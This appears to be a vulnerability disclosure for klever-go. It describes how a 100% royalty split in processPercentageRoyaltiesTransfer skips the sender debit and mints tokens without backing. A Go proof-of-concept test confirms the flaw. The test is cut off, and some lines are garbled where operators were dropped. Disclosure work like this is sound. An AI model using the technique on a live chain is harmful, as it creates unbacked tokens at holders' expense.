In-app reader
In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is
ordered after the split loop and after if royaltiesToPay royaltiesToPay), so a split entry of **exactly
100%** (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the
early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing
for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is
safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after
the early-return.
core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → `if royaltiesToPayUnbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an
owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update
(off-the-books).
Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint
fires on any holder's transfer of the asset — not just the owner's.
TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks
ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited
the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case
does not early-return, the sender is debited, and value conserves.
Full Go PoC (core/kapp/accounts package, passes = mint confirmed)
package accounts
import (
"bytes"
"encoding/hex"
"testing"
"github.com/stretchr/testify/require"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
"github.com/klever-io/klever-go/kapps"
kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)
// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
const (
assetIDStr = "FUNGI-1234"
transferValue = int64(800)
royaltyRatePct = uint32(500) // 5%
royaltyAmount = int64(40) // 800 * 5% = 40
)
assetID := []byte(assetIDStr)
// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
// path is not short-circuited by core.IsSmartContractAddress.
senderAddr := bytes.Repeat([]byte{0x11}, 32)
// Split recipient address must be a valid hex string (computeSplitRoyalties
// hex-decodes the map key).
recipientAddr := bytes.Repeat([]byte{0x22}, 32)
recipientKey := hex.EncodeToString(recipientAddr)
royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)
buildKDA := func(splitPercent uint32) *kapps.KDAData {
return &kapps.KDAData{
AssetType: kapps.KDAData_Fungible,
OwnerAddress: senderAddr,
Royalties: &kapps.RoyaltiesData{
Address: royaltyReceiverAddr,
TransferPercentage: []*kapps.RoyaltyData{
{Amount: 1000, Percentage: royaltyRatePct},
},
SplitRoyalties: map[string]*kapps.RoyaltySplitData{
recipientKey: {PercentTransferPercentage: splitPercent},
},
},
}
}
type runResult struct {
subFromCalls int
subFromAmount int64
addToRecipient int64
addToOwnerRem int64
resCode transaction.Transaction_TXResultCode
err error
}
run := func(t *testing.T, splitPercent uint32) runResult {
t.Helper()
res := runResult{}
// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
acntSrc := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return senderAddr },
GetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 },
SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.subFromCalls++
res.subFromAmount += value
return nil
},
}
// Destination is irrelevant to the royalty pool accounting here.
acntDst := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
}
// Split recipient: capture the credit it receives.
splitRecipient := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return recipientAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToRecipient += value
return nil
},
}
// Owner-remainder receiver (only credited when the path does NOT early-return).
royaltyReceiver := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToOwnerRem += value
return nil
},
}
cacher := &commonMock.AccountsCacherStub{
LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
if bytes.Equal(address, recipientAddr) {
return splitRecipient, nil
}
if bytes.Equal(address, royaltyReceiverAddr) {
return royaltyReceiver, nil
}
return acntSrc, nil
},
GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
return royaltyReceiver, nil
},
UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
}
// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
// (overflow-checked percentage math), and FixMarketBuyOverflow so the
// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
fc := &integrationMock.ForkControllerStub{
KdaFprCalled: func() bool { return true },
EnableSmartContractsCalled: func() bool { return true },
FixMarketBuyOverflowCalled: func() bool { return true },
}
kappController := &kvmStub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext {
return kapp.NewKappContext(kapp.ArgsNewKAppContext{
OriginalSender: senderAddr,
ContractID: 0,
ContractType: transaction.TXContract_TransferContractType,
Block: &block.Block{},
})
},
}
a := &accountsKapp{
accountsCacher: cacher,
forkController: fc,
KAppController: kappController,
}
tc := &transaction.TransferContract{
Amount: transferValue,
KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
}
kda := buildKDA(splitPercent)
res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
tc, assetID, nil, acntSrc, acntDst, kda,
)
return res
}
// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
t.Run("split_100pct_mints", func(t *testing.T) {
r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config
require.NoError(t, r.err)
require.Equal(t, transaction.Transaction_Ok, r.resCode)
credited := r.addToRecipient
debited := r.subFromAmount
mintDelta := credited - debited
t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
t.Logf("[100%% case] sender royalty amount debited = %d", debited)
t.Logf("[100%% case] owner-remainder credited = %d", r.addToOwnerRem)
t.Logf("[100%% case] MINT delta (credited - debited) = %d", mintDelta)
// (1) split recipient WAS credited the full royaltyAmount (> 0).
require.Equal(t, royaltyAmount, credited,
"split recipient must receive the full royalty pool")
require.Greater(t, credited, int64(0))
// (2) the sender's royalty debit was NEVER called -> value created.
require.Equal(t, 0, r.subFromCalls,
"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the )
require.Equal(t, int64(0), debited)
// credited > debited => mint of royaltyAmount.
require.Equal(t, royaltyAmount, mintDelta,
"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
mintDelta, assetIDStr)
})
// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
t.Run("split_50pct_conserves", func(t *testing.T) {
r := run(t, core.HundredPercent/2) // 5000 == 50%
require.NoError(t, r.err)
require.Equal(t, transaction.Transaction_Ok, r.resCode)
credited := r.addToRecipient + r.addToOwnerRem
debited := r.subFromAmount
t.Logf("[50%% case] split recipient credited = %d", r.addToRecipient)
t.Logf("[50%% case] owner-remainder credited = %d", r.addToOwnerRem)
t.Logf("[50%% case] total credited = %d", credited)
t.Logf("[50%% case] sender royalty-debit calls = %d", r.subFromCalls)
t.Logf("[50%% case] sender royalty amount debited = %d", debited)
t.Logf("[50%% case] net (credited - debited) = %d (0 => conserved)", credited-debited)
// Sender IS debited the full royalty pool exactly once.
req
Discussion
Sign in to join the discussion.
Keep reading
Optional: create a free account to save items, track programs, and sync across web + app. Reading stays free.